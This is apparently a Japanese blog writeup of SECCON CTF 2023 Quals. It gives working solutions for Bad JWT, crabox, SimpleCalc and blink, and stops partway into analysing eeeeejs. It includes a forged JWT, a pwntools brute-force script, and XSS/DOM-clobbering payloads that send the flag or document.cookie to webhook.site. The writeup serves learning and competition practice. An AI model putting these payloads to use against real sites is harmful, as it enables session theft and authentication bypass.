st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

SECCON CTF 2023 Quals writeup

9/16 - 9/17という日程で開催された。keymoonさんとCyberMidori*1というチームで出て全体29位、国内5位。国内決勝に歩を進めることができたのは嬉しいものの、Webカテゴリではもっとも解かれていたBad JWTしか通すことができず、反省しきり。

ある程度材料は揃っていたものの詰めきれず落とした問題が2つということで、このような状況に陥るたびにいかに普段のCTFでほかのメンバーの別視点からの発想に手助けされているかを思い知る。SimpleCalcとeeeeejsは解けるべきだった。くやしい、くやしい~*2*3! 競技中の状況の振り返りも含めて解けなかった問題の復習をし、これをもって反省文とする。


競技時間中に解いた問題

[Web 98] Bad JWT (107 solves)

I think this JWT implementation is not bad.

(URL)

添付ファイル: Bad-JWT.tar.gz

与えられたURLにアクセスすると、大変簡素なUIで認証に失敗したというメッセージが返ってくる。

ソースコードが与えられているので見ていく。index.js は次の通りシンプル。このアプリは session というCookieに入っているJWTを検証し、有効かつその isAdmin というクレームの値が true であればフラグが表示されるという仕組みになっている。JWTは検証されるのみで、ユーザ側から生成する術はない。検証や署名に使われる鍵はランダムに設定されている。

const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;

const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const secret = require('crypto').randomBytes(32).toString('hex');

app.use((req, res, next) => {
    try {
        const token = req.cookies.session;
        const payload = jwt.verify(token, secret);
        req.session = payload;
    } catch (e) {
        return res.status(400).send('Authentication failed');
    }
    return next();
})

app.get('/', (req, res) => {
    if (req.session.isAdmin === true) {
        return res.send(FLAG);
    } else {
        return res.status().send('You are not admin!');
    }
});

app.listen(PORT, () => {
    const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
    console.log(`[INFO] Use ${admin_session} as session cookie`);
  console.log(`Challenge server listening on port ${PORT}`);
});

JWTの検証機構は jwt.js というファイルでなんと自前で実装されている。そちらも見ていくが、やはりシンプルだ。検証に使われる関数は verify であるので、その流れを確認する。まず . で区切ったパーツの個数がきっちり3つであるか見る。OKならば与えられたヘッダとペイロードをもとに、鍵を使って本来あるべきシグネチャを生成する。そして、与えられたシグネチャをURL-safe Base64デコードして比較する。普通だ。

const crypto = require('crypto');

const base64UrlEncode = (str) => {
    return Buffer.from(str)
        .toString('base64')
        .replace(/=*$/g, '')
        .replace(/\+/g, '-')
        .replace(/\//g, '_');
}

const base64UrlDecode = (str) => {
    return Buffer.from(str, 'base64').toString();
}

const algorithms = {
    hs256: (data, secret) => 
        base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
    hs512: (data, secret) => 
        base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
    return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
    return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
    const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
    const signature = algorithms[header.alg.toLowerCase()](data, secret);
    return signature;
}

const parseToken = (token) => {
    const parts = token.split('.');
    if (parts.length !== 3) throw Error('Invalid JWT format');
    
    const [ header, payload, signature ] = parts;
    const parsedHeader = parsePart(header);
    const parsedPayload = parsePart(payload);
    
    return { header: parsedHeader, payload: parsedPayload, signature }
}

const sign = (alg, payload, secret) => {
    const header = {
        typ: 'JWT',
        alg: alg
    }
    
    const signature = createSignature(header, payload, secret);
    
    const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
    return token;
}

const verify = (token, secret) => {
    const { header, payload, signature: expected_signature } = parseToken(token);

    const calculated_signature = createSignature(header, payload, secret);
    
    const calculated_buf = Buffer.from(calculated_signature, 'base64');
    const expected_buf = Buffer.from(expected_signature, 'base64');

    if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
        throw Error('Invalid signature');
    }

    return payload;
}

module.exports = { sign, verify }

JWTといえば alg を変更する攻撃だ。none が使えれば楽だけれども、以下のように algorithms というオブジェクトに各アルゴリズムに対応する署名のための関数を格納しておき、algorithms[header.alg.toLowerCase()] のようにユーザから与えられた alg をキーとして対応する関数を呼ぶという形でシグネチャが生成されており、そもそも none というキーを持っていないためできない。

const algorithms = {
    hs256: (data, secret) => 
        base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
    hs512: (data, secret) => 
        base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
// …
const createSignature = (header, payload, secret) => {
    const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
    const signature = algorithms[header.alg.toLowerCase()](data, secret);
    return signature;
}

では、hs256, hs512 以外のほかのキーは使えないだろうか。algorithms が持つキーをNode.jsのREPLで(オートコンプリートを使い)探してみると、Object.prototype から継承されてきたメソッドがいっぱい見つかる。片っ端から試していくと、constructoralg として指定した場合に与えられたデータ(ヘッダとペイロードを結合した文字列)をそのまま返すことがわかった。なるほど、algorithms.constructorObject であり、Object('data here')data here という文字列の Object としてのラッパーを返すからだ。

> const algorithms = {
...     hs256: (data, secret) =>
...             base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
...     hs512: (data, secret) =>
...             base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
... }
undefined
> algorithms.(Tabを押す)
algorithms.__proto__             algorithms.constructor           algorithms.hasOwnProperty
algorithms.isPrototypeOf         algorithms.propertyIsEnumerable  algorithms.toLocaleString
algorithms.toString              algorithms.valueOf

algorithms.hs256                 algorithms.hs512
> algorithms['constructor']('data here', 'secret here')
[String: 'data here']

このような挙動を利用して、シグネチャの部分にヘッダとペイロードを . で繋いで結合した文字列をそのまま置けばよい…というのは間違いで、前述のように . の個数が厳密にチェックされているので、このままだと . が通常のJWTより1個多くなってしまい、バリデーションに弾かれてしまう。

ん? と思ったが、ここで以下のように検証時にはそのままユーザに与えられたシグネチャと自分で計算したものを比較するのではなく、それぞれURL-safe Base64デコードしてその値を比較していることに気づいた。これならばシグネチャに . がなくてもよい。

const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');

適当に jwt.sign('constructor', { isAdmin: true }, 'tekitou secret') を実行して、次のように isAdmin クレームの値が true であり、また algconstructor となっているJWTを生成する。

[INFO] Use eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ as session cookie

シグネチャ部分の . を削除し、次のようなJWTをCookieにセットする。

eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ

これで問題サーバにアクセスすると、フラグが得られた。

SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}

CyberMidoriがfirst bloodだった。

[Sandbox 132] crabox (53 solves)

🦀 Compile-Time Sandbox Escape 🦀

(問題サーバへの接続情報)

添付ファイル: crabox.tar.gz

ソースコードが与えられているので読んでいく。Rustコードを入力すると、事前に用意されているテンプレートにコメントの中にフラグとそのコードが展開される。こうして生成されたRustコードをコンパイルしてくれ、その結果を教えてくれる。正常にコンパイルできた場合には :) を、異常終了した場合には :( を返す。ただし、生成物のバイナリを実行してくれるわけではないので、コンパイル時の処理だけで頑張る必要がある。

import sys
import re
import os
import subprocess
import tempfile

FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")

TEMPLATE = """
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
""".strip()

print("""
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
""".strip(), flush=True)

program = ""
while True:
    line = sys.stdin.readline()
    if line.startswith("__EOF__"):
        break
    program += line
if len(program) > 512:
    print("Your program is too long. Bye👋".strip())
    exit(1)

source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)

with tempfile.NamedTemporaryFile(suffix=".rs") as file:
    file.write(source.encode())
    file.flush()

    try:
        proc = subprocess.run(
            ["rustc", file.name],
            cwd="/tmp",
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=2,
        )
        print(":)" if proc.returncode == 0 else ":(")
    except subprocess.TimeoutExpired:
        print("timeout")

私がこの問題を確認した時点で、keymoonさんがマクロを使うのではないだろうかと予想していた。このようなシチュエーションから思い出されるのは、SpamAndFlags Teaser 2019のpwn - Rust Jailだ。あの問題ではバイナリの実行までしてくれていたけれども。

file! を使うとそのソースコード自身のパスが得られるし、include_str! を使うと指定したファイルの内容を取ってこれる。これをもとにコメント部分に含まれるフラグを抽出していきたい。

ではどうやるかというところで、我々が得られる情報がコンパイルに成功したか、それとも失敗したかという1ビットであることを考える。フラグのn文字目のLSBが1であればコンパイルに成功し、0であれば失敗する、あるいはフラグのn文字目が S であれば成功し、そうでなければ失敗する、こういった形でBoolean-based SQLiと同じ要領で、1ビットずつフラグを得られるのではないかと考える。成功と失敗は assert(flag[i] == 'S') のような形で制御できるのではないか。

では、Rustではそのようなことができるだろうか。私はRustを読めないし書けないので、rust compile time assert のようなキーワードで検索する。あった。スクリプトキディしていこう。これをパクり、以下のように小さめのコードで検証する。const_str_equal の第2引数が fn である場合にコンパイルは成功し、それ以外の、たとえば midori のような場合では失敗したので、ちゃんと考えた方法でできることがわかる。

fn main() {
    pub const X: &str = include_str!(file!());

    const fn const_bytes_equal(l: &[u8], r: &[u8]) -> bool {
        let o = 0;
        let mut i = 0;
        while i < r.len() {
            if l[o+i] != r[i] {
                return false;
            }
            i += 1;
        }
        true
    }

    const fn const_str_equal(l: &str, r: &str) -> bool {
        const_bytes_equal(l.as_bytes(), r.as_bytes())
    }

    #[allow(dead_code)]
    const fn check() {
        assert!(const_str_equal(X, "fn "))
    }

    const _: () = check();
}

あとは試す文字列を1文字ずつ変えていって、レスポンスをもとにその試行が成功したかどうかを判定するようなスクリプトを書くだけだ。投げられるコードは1024文字までという制約があるので要らない空白文字や改行文字を消したり、試行する文字列の文字数が増えるにつれてオフセットがズレていくので、調整のためのパディングを仕込んだりしていく。最終的に出来上がったコードは次の通り。

import string
import sys
from pwn import *
context.log_level = 'fatal'

template = '''
fn main() { pub const X: &str = include_str!(file!()); const fn const_bytes_equal(l: &[u8], r: &[u8]) -> bool { let o = INDEX_HERE; let mut i = 0; while i < r.len() { if l[o+i] != r[i] { return false; } i += 1; } true } const fn const_str_equal(l: &str, r: &str) -> bool { const_bytes_equal(l.as_bytes(), r.as_bytes()) } #[allow(dead_code)] const fn check() { assert!(const_str_equal(X, "FLAG_HERE"PADDING_HERE)) } const _: () = check();}
__EOF__'''

def check(t, i):
    #s = remote('localhost', 2337)
    s = remote('crabox.seccon.games', 1337)
    s.recvuntil(b'(the last line must start with __EOF__):\n')

    code = template.replace('FLAG_HERE', t).replace('INDEX_HERE', f'{i:3}').replace('PADDING_HERE', ' ' * (100 - len(t)))
    s.sendline(code)

    res = s.recvline()
    s.close()

    return res == b':)\n'

i = 547
flag = ''
table = 'SECCON{} ' + '_' + string.digits + string.ascii_lowercase
while True:
    for c in table:
        if check(flag + c, i):
            flag += c
            break
    print(flag)

実行するとフラグが得られた。

$ python3 solve.py
solve.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  s.sendline(code)
S
SE
SEC
SECC
SECCO
SECCON
SECCON{
SECCON{c
SECCON{ct
SECCON{ctf
SECCON{ctfe
SECCON{ctfe_
SECCON{ctfe_i
SECCON{ctfe_i5
SECCON{ctfe_i5_
SECCON{ctfe_i5_p
SECCON{ctfe_i5_p0
SECCON{ctfe_i5_p0w
SECCON{ctfe_i5_p0w3
SECCON{ctfe_i5_p0w3r
SECCON{ctfe_i5_p0w3rf
SECCON{ctfe_i5_p0w3rfu
SECCON{ctfe_i5_p0w3rful
SECCON{ctfe_i5_p0w3rful}
SECCON{ctfe_i5_p0w3rful}

CTFE、CTFdの仲間かと思ったらCompile Time Function Evaluationだった。

競技終了後に解いた問題

[Web 193] SimpleCalc (23 solves)

This is a simplest calculator app.

Note: Don't forget that the target host is localhost from the admin bot.

(URL)

添付ファイル: simple-calc.tar.gz

与えられたURLにアクセスすると、次のようにシンプルなフォームが表示される。

プレースホルダの 7 * 7 を入力して Calc ボタンを押してみると、その計算結果が表示された。

実装(/js/index.js)は次の通り。クエリパラメータから expr の値を取ってきてそれを eval している。シンプルだ。

const params = new URLSearchParams(location.search);
const result = eval(params.get('expr'));
document.getElementById('result').innerText = result.toString();

ソースコードを確認していく。短いのでサーバ側のコードをそのまま載せる。重要なのは /flag だ。token というCookieの値が環境変数から渡ってきた秘密の文字列と一致しており、かつ X-FLAG というヘッダが設定されている場合にフラグが表示される。つまり、ただ /flag にアクセスするだけではダメで、フラグを得たければFetch APIやXHRでヘッダもいじる必要がある。

CSPも気になる。全ページに対して default-src: ${js_url} 'unsafe-eval' が設定されている。その直前の js_url の定義を見ると、/js/index.js しか読み込めないようになっているとわかる。script-src でなく default-src と、iframe やら style やらも同様に制限されているのがつらい。スラッシュで終わっているわけではないので、たとえば /js/index.js/hoge のようなパスも弾かれる。そもそも /js/index.jsapp.use('/', express.static('static')) で配信されているので、/js/ のようなパスで指定されていたとしても無意味だけれども。どの getpost よりも前にCSPを設定する use を呼んでいるので、全ページにおいてCSPが適用される。

/report は先程の expr を投げるとbotがアクセスしてくれるというもので、botの挙動に関しては後述する。丁寧にも url.searchParams.append('expr', expr) というような形でbotの巡回先のURLを設定しているので、javascript: スキームによるチートや、localhost 以外への直接のアクセスはさせられなそう。なお、この /report について、express-rate-limit によって10秒に1回しか expr を投げられないようになっている。

const FLAG = process.env.FLAG ?? console.log('No flag') ?? process.exit(1);
const ADMIN_TOKEN = process.env.ADMIN_TOKEN ?? console.log('No admin token') ?? process.exit(1);

const PORT = '3000';

const express = require('express');
const rateLimit = require('express-rate-limit');
const cookieParser = require('cookie-parser');

const { visit } = require('./bot.js');

const reportLimiter = rateLimit({
  // Limit each IP to 1 request per 10 seconds
  windowMs: 10 * 1000, 
  max: 1, 
});

const app = express();

app.use((req, res, next) => {
  const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
  res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
  next();
});

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

app.get('/flag', (req, res) => {
  if (req.cookies.token !== ADMIN_TOKEN || !req.get('X-FLAG')) {
    return res.send('No flag for you!');
  }
  return res.send(FLAG);
});

app.post('/report', reportLimiter, async (req, res) => {
  const { expr } = req.body;

  const url = new URL(`http://localhost:${PORT}/`)
  url.searchParams.append('expr', expr);

  try {
    await visit(url);
    return res.sendStatus(200);
  } catch (err) {
    console.error(err);
    return res.status(500).send('Something wrong');
  }
});

app.use('/', express.static('static'));

app.listen(PORT, () => {
  console.log(`Web server listening on port ${PORT}`);
});

botの挙動を見ていく。incognitoなコンテキストを都度作って、前述の token というCookieを設定して、指定されたURLを開く。特にボタンのクリックやテキストの入力といったユーザインタラクションはない。フラグの閲覧に必要な X-FLAG ヘッダも特にここでは触れられておらず、やはりFetch APIなどによって指定する必要がありそうだ。なお、HttpOnly属性が設定されているため、document.cookie からの token の抽出はできない。

const puppeteer = require('puppeteer');

const ADMIN_TOKEN = process.env.ADMIN_TOKEN ?? console.log('No admin token') ?? process.exit(1);

const APP_HOST = 'localhost';
const APP_PORT = '3000';

const sleep = async (msec) => new Promise((resolve) => setTimeout(resolve, msec));

const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: '/usr/bin/google-chrome-stable',
    args: ['--no-sandbox'],
  });

  const context = await browser.createIncognitoBrowserContext();
  try {
    const page = await context.newPage();
    await page.setCookie({
      name: 'token',
      value: ADMIN_TOKEN,
      domain: `${APP_HOST}:${APP_PORT}`,
      httpOnly: true
    });
    await page.goto(url, { timeout: 3 * 1000 });
    await sleep(3 * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

module.exports = { visit }

botが token を持っているとわかったのはよいが、フラグを閲覧するためのもう一方の条件である X-FLAG ヘッダを付与しつつの /flag へのアクセスには問題がある。前述の通り /js/index.js ではなんでも eval されるわけだけれども、一方でCSPにより /js/index.js 以外のリソースの読み込みなどが制限されていることから、たとえば fetch('/flag', {headers:{'X-FLAG':'neko'}}) のような形での /flag へのアクセスができない。

window.open ならば /flag を開けるけれども、今度は X-FLAG ヘッダの付与ができないので、/flag 側に弾かれてしまう。location.assign などによる外部の(我々の管理下にあるWebサーバのような)URLへの遷移も考えるが、そこから発展させる方法が思いつかない。

CSPをなんとかしてバイパスしたい。まずCSP中の js_url の含まれるホスト名が req.hostname であるというのが気になる。ドキュメントを確認すると trust proxy の設定がされていれば X-Forwarded-Host の値を信用するらしいとある。実装もその通り。今回は trust proxy の設定がされておらず、当然ながらこれはデフォルトでは false だ。じゃあ直接 Host でと一瞬考えるも、そんなことどうやるのか。X-Forwarded-Host でもそうだったか。Host: a;b のような Host も許容されるようなので、これでCSPを破壊できるものの、今言ったようにどうやって実現するのか。

ぽけーっと考えて、たとえば長いクエリパラメータをくっつけたり、大量に長いCookieを送りつけると400や431を返すのではないか、もしくは何らかの形でエラーを起こさせて500を返させることができるのではないかと考えた。あるいはわざと express-rate-limit に引っかからせることができるのではないか。このようにユーザ側で作ったわけではないコンテンツを返させることで、ExpressがCSPを送らないという状況を作れるのではないか。

最初の案がビンゴだった。試しに次の expr を送り付けてみると、開かれたページでは431が返ってきていた。超長いクエリパラメータでも同様だ。

for(let i=0;i<15;i++)document.cookie=`neko${i}=`+'a'.repeat(1500)+'; path=/neko';w=window.open('http://localhost:3000/neko')

次の通り、ヘッダにCSPは含まれていない。

ひとつ問題があり、レスポンスボディが空であるために次のような画面が表示されてしまう。ここから w.fetch を叩こうとしてもクロスオリジンであるためダメだと言われてしまう。どういうことかと開かれたウィンドウで location.href を参照すると、これは chrome-error://chromewebdata/ というURLであると言われてしまった。

では /flagreq.get('X-FLAG') をごまかせるような方法はないか。一応実装を見るも、どう考えてもヘッダしか見ていない。

こんな感じで悩んでいるうちに競技の終了時刻を迎えた。


競技終了後にXのポストやDiscordを眺めていると、どうやらService Workerを使った方法や、前述の431を使う方法があるとわかった。後者について、空のレスポンスボディが返ってきているのにどうやって…? と思うも、iframe を使えばよかったらしい。そんなあ。

次のコードで試してみる。

let i = document.createElement('iframe');
i.src = '/js/index.js?' + 'A'.repeat(1e5);
document.body.appendChild(i);
i.onload = () => {
    console.log(i.contentWindow.location);
};

確かにこの iframelocationchrome-error://chromewebdata/ でなく、ちゃんとWebサーバの /js/index.js を指している。

こいつの contentWindow.fetch を使えばCSPをバイパスできる。/flagX-FLAG ヘッダ付きでリクエストを飛ばし、フラグを取得でき次第(navigator.sendBeaconnew Image().src だとCSPに止められてしまうので) location.href でWebhook.siteに飛ばさせる。

let i = document.createElement('iframe');
i.src = '/js/index.js?' + 'A'.repeat(4e4);
document.body.appendChild(i);
i.onload = async () => {
    const r = await i.contentWindow.fetch('/flag',{headers:{'X-FLAG':1}});
    location.href = "https://webhook.site/(省略)?" + await r.text();
}

これを問題サーバで報告するとフラグが得られた。

SECCON{service_worker_is_powerfull_49a3b7bf6d2ae18d}

もう一方のService Workerによる方法だが、hamayanhamayanさんがすでにwriteupを公開している。

Popover API is supported from Chrome 114. The awesome API is so useful that you can easily implement <blink>.

(URL)

添付ファイル: blink.tar.gz

与えられたURLにアクセスすると、次のようなフォームが表示される。

適当に <s>こんにちは</s> というHTMLを入力してみると、次のように表示された。

これは iframe の中にあり、チカチカ出たり消えたりする。

この問題にもURLを通報できる機能がある。通報されたURLはbotによって次の処理で巡回される。FLAG というCookieにフラグが含まれており、今度はHttpOnly属性が付いていないので、JS側から document.cookie で取得できる。

    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });
    await page.goto(url);
    await sleep(5 * 1000);
    await page.close();

さっきのアプリに戻る。<blink> 的な機能を実現しているのは /main.js だ。内容は次の通り。出たり消えたりさせているのはPopover APIで実現しているらしい。iframe には sandbox 属性が付いており、allow-scripts は含まれていないのでこの中でJSを実行することはできない。となるとDOM Clobberingかと思ったものの、適当に <div id="togglePopover"></div> などを試してみても発火せず、特にほかの方法を思いつくわけでなく、そのまま競技の終了時刻を迎えた。

const wrap = (obj) =>
  new Proxy(obj, {
    get: (target, prop) => {
      const res = target[prop];
      return typeof res === "function" ? res.bind(target) : res;
    },
    set: (target, prop, value) => (target[prop] = value),
  });

const $ = wrap(document).querySelector;

const sandboxAttribute = [
  "allow-downloads",
  "allow-forms",
  "allow-modals",
  "allow-orientation-lock",
  "allow-pointer-lock",
  "allow-popups",
  "allow-popups-to-escape-sandbox",
  "allow-presentation",
  "allow-same-origin",
  // "allow-scripts", // disallow
  "allow-top-navigation",
  "allow-top-navigation-by-user-activation",
  "allow-top-navigation-to-custom-protocols",
].join(" ");

const createBlink = async (html) => {
  const sandbox = wrap(
    $("#viewer").appendChild(document.createElement("iframe"))
  );

  // I believe it is impossible to escape this iframe sandbox...
  sandbox.sandbox = sandboxAttribute;

  sandbox.width = "100%";
  sandbox.srcdoc = html;
  await new Promise((resolve) => (sandbox.onload = resolve));

  const target = wrap(sandbox.contentDocument.body);
  target.popover = "manual";
  const id = setInterval(target.togglePopover, 400);

  return () => {
    clearInterval(id);
    sandbox.remove();
  };
};

$("#render").addEventListener("click", async () => {
  const html = $("#html").value;
  if (!html) return;
  location.hash = html;

  const deleteBlink = await createBlink(html);
  const button = wrap(
    $("#viewer").appendChild(document.createElement("button"))
  );
  button.textContent = "Delete";
  button.addEventListener("click", () => {
    deleteBlink();
    button.remove();
  });
});

const initialHtml = decodeURIComponent(location.hash.slice(1));
if (initialHtml) {
  $("#html").value = initialHtml;
  $("#render").click();
}

競技終了後にDiscordを覗いてみたところ、name 属性に body という値を持つ iframe を仕込むと sandbox.contentDocument.body を、一番上の iframebody でなく、その中の iframe に置き換えられるらしいという情報が共有されていた。試しに以下のようなJSコードで検証してみる。

// https://portswigger.net/research/dom-clobbering-strikes-back
const elms = [
    'a',
    'abbr',
    'acronym',
// …
    'video',
    'wbr',
    'xmp'
];

elms.forEach(async x => {
    const el = document.createElement('iframe');
    el.srcdoc = `<${x} name='body'></${x}>`;
    document.body.appendChild(el);
    await new Promise(resolve => el.onload = () => {
        const body = el.contentDocument.body;
        // body instanceof HTMLBodyElementでは動かない
        // ref: https://stackoverflow.com/a/5724974
        // 実はbody instanceof el.contentDocument.defaultView.HTMLBodyElementでもいける
        // ref: https://twitter.com/AmNicd/status/1574307932077965312
        if (body.tagName !== 'BODY') {
            console.log(x, body);
        }
        resolve();
    });
});

実行すると、次の通り embed, form, frameset, iframe, image, img, object ではDOM Clobberingによって body を置き換えることができた。

ここから何ができるかというと、setInterval という関数は第1引数として文字列が与えられた場合に、それをJSコードとみなして eval 相当のことをするという挙動が使える。setIntervalsetInterval(target.togglePopover, 400) のように使われていて、ここで target はすでにDOM Clobberingによって置き換えられているから、さらに togglePopover に対して2段目のDOM Clobberingをすればよい。

先に、ここで setInterval の第1引数に渡っても問題ない、つまり文字列化する際にJSコードとして妥当なものを作れる要素を探したい。普通の要素では、たとえば document.createElement('table') + '' === '[object HTMLTableElement]' のように [object …] というフォーマットになってしまう。そうでない要素を探す。次のようなJSコードを作る。

// https://portswigger.net/research/dom-clobbering-strikes-back
const elms = [
    'a',
    'abbr',
    'acronym',
// …
    'video',
    'wbr',
    'xmp'
];

for (const name of elms) {
    try {
        const el = document.createElement(name);
        const s = el + '';
        if (!s.startsWith('[object')) {
            console.log(name, s);
        }
    } catch {}
}

実行すると aarea が見つかる。実はこのあたりのテクはDOM Clobbering界(とは?)では有名で、HackTricksにも載っている。これらの要素はいずれもリンクの作成に使えるもので、href 属性に abc:alert(123) のようにJSコードとして有効な「URL」を設定する*4*5と、この要素を文字列化した際にその「URL」を返してくれる。

では、2段目のDOM Clobberingをどうするか。残念ながら <a id=body><a id=body name=togglePopover href="abc:hi"> のようなよくあるパターンでは突破できない。ここで1段目の候補にいいものがないかなというところで、iframe が使えるという話がPortSwiggerの記事で言及されている。以下のようなペイロードで alert が出た*6

<iframe name="body" srcdoc="<a id='togglePopover' href='abc:if(!window.a)alert(123);a=1'></a>"></iframe>

あとは実行されるJSコードを、document.cookie を外部に送信するものに変えればよい。以下のようなURLを報告する。

http://web:3000/#<iframe name="body" srcdoc="<a id='togglePopover' href='abc:if(!window.a)location.href=`https://webhook.site/…?`+document.cookie;a=1'></a>"></iframe>

すると、フラグが飛んできた。

SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t}

DOM Clobberingではないかという疑いを持ったときにブルートフォースで強引に探してみてもよかったのかもしれない。

[Web 257] eeeeejs (12 solves)

Can you bypass all mitigations?

(URL)

添付ファイル: eeeeejs.tar.gz

与えられたURLにアクセスすると、marquee によって Hello, ejs! というテキストが跳ね返り続ける

ソースコードが与えられているので確認していく。この問題は2つのサービスからなっていて、一方はNode.jsで作られたWebサーバの web、もう一方は通報されたURLを自動で巡回する bot だ。bot から見ていく。メインの処理は次の通りで、blinkと同様にただ与えられたURLにアクセスするだけだ。FLAG というHttpOnly属性の設定されていないCookieがあるので、XSSに持ち込んで document.cookie を盗み出せればよい。

    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/",
    });
    await page.goto(url);
    await sleep(5 * 1000);
    await page.close();

Webサーバの方のソースコードを見ていく。EJSを使ってユーザから与えられたパラメータをテンプレートに展開しているが、少し様子がおかしい。render.dist.js という別のJSコードを、わざわざ child_process.execFile で別のNode.jsのプロセスを立ち上げて実行している。

const express = require("express");
const { xss } = require("express-xss-sanitizer");
const { execFile } = require("node:child_process");
const util = require("node:util");

const app = express();
const PORT = 3000;

// Mitigation 1:
app.use(xss());

// Mitigation 2:
app.use((req, res, next) => {
  // A protection for RCE
  // FYI: https://github.com/mde/ejs/issues/735

  const evils = [
    "outputFunctionName",
    "escapeFunction",
    "localsName",
    "destructuredLocals",
    "escape",
  ];

  const data = JSON.stringify(req.query);
  if (evils.find((evil) => data.includes(evil))) {
    res.status(400).send("hacker?");
  } else {
    next();
  }
});

// Mitigation 3:
app.use((req, res, next) => {
  res.set("Content-Security-Policy", "default-src 'self'");
  next();
});

app.get("/", async (req, res) => {
  req.query.filename ??= "index.ejs";
  req.query.name ??= "ejs";

  const proc = await util
    .promisify(execFile)(
      "node",
      [
        // Mitigation 4:
        "--experimental-permission",
        `--allow-fs-read=${__dirname}/src`,

        "render.dist.js",
        JSON.stringify(req.query),
      ],
      {
        timeout: 2000,
        cwd: `${__dirname}/src`,
      }
    )
    .catch((e) => e);

  res.type("html").send(proc.killed ? "Timeout" : proc.stdout);
});

app.listen(PORT);

なお、ここでデフォルトの filename とされている index.ejs は次のようなテンプレートだ。

<marquee height="100%" scrollamount="16" direction="down" behavior="alternate">
  <marquee scrollamount="24" behavior="alternate">
    <h1>Hello, <%= name %>!</h1>
  </marquee>
</marquee>

render.dist.js は配布されたファイルには含まれていないが、package.json を見ると以下のような記述があり、なんかバンドルしているのだなあとわかる。適当にDockerイメージを作成して、コンテナから持ってくればよい。

  "scripts": {
    "bundle": "esbuild src/render.js --bundle --platform=node --outfile=src/render.dist.js"
  },

render.dist.js のもととなっている render.js は次の通り。シンプルだ。コマンドライン引数から与えられたJSONから filename と残りの query を取り出して、それぞれ ejs.renderFile に渡している。つまり、好きなファイルをEJSのテンプレートとして指定して、それに好きなデータを渡してレンダリングさせることができる。ここで renderFile の第2引数にユーザから与えられたものを渡しているのがまずい。詳しくは後述するが、あわせてレンダリング時のオプションもここで指定できてしまい、それによってRCEに持ち込める可能性がある。

const ejs = require("ejs");

const { filename, ...query } = JSON.parse(process.argv[2].trim());
ejs.renderFile(filename, query).then(console.log);

このように、query というクエリパラメータは最終的には(危ないことに) ejs.renderFile に渡るわけだけれども、いくつか "mitigation" として様々な対策をしているのが気になる。それぞれ見ていこう。まず1つ目だけれども、以下のように express-xss-sanitizer というミドルウェアを使ってXSSを防ごうとしている。ミドルウェアのソースコードを見ると、こいつはリクエストボディやクエリパラメータといったユーザ入力に含まれる文字列について、それぞれ sanitize-html でサニタイズしている。入力時点で変なものが潰されてしまうのはつらい。

const { xss } = require("express-xss-sanitizer");
// …
// Mitigation 1:
app.use(xss());

2つ目は outputFunctionName, escapeFunction, localsName, destructuredLocals, escape といったEJSの renderFile のオプション名がクエリパラメータに含まれていた場合には、その時点で400を返すというものだ。なぜこれらに限定されているかというと、コメントでリンクされているissueを見るとわかるけれども、これらのオプションがユーザにコントロールされてしまうとRCEに持ち込めてしまうためだ。

// Mitigation 2:
app.use((req, res, next) => {
  // A protection for RCE
  // FYI: https://github.com/mde/ejs/issues/735

  const evils = [
    "outputFunctionName",
    "escapeFunction",
    "localsName",
    "destructuredLocals",
    "escape",
  ];

  const data = JSON.stringify(req.query);
  if (evils.find((evil) => data.includes(evil))) {
    res.status(400).send("hacker?");
  } else {
    next();
  }
});

3つ目はCSPだ。同一オリジンからしかリソースを読み込めないようにしている。

// Mitigation 3:
app.use((req, res, next) => {
  res.set("Content-Security-Policy", "default-src 'self'");
  next();
});

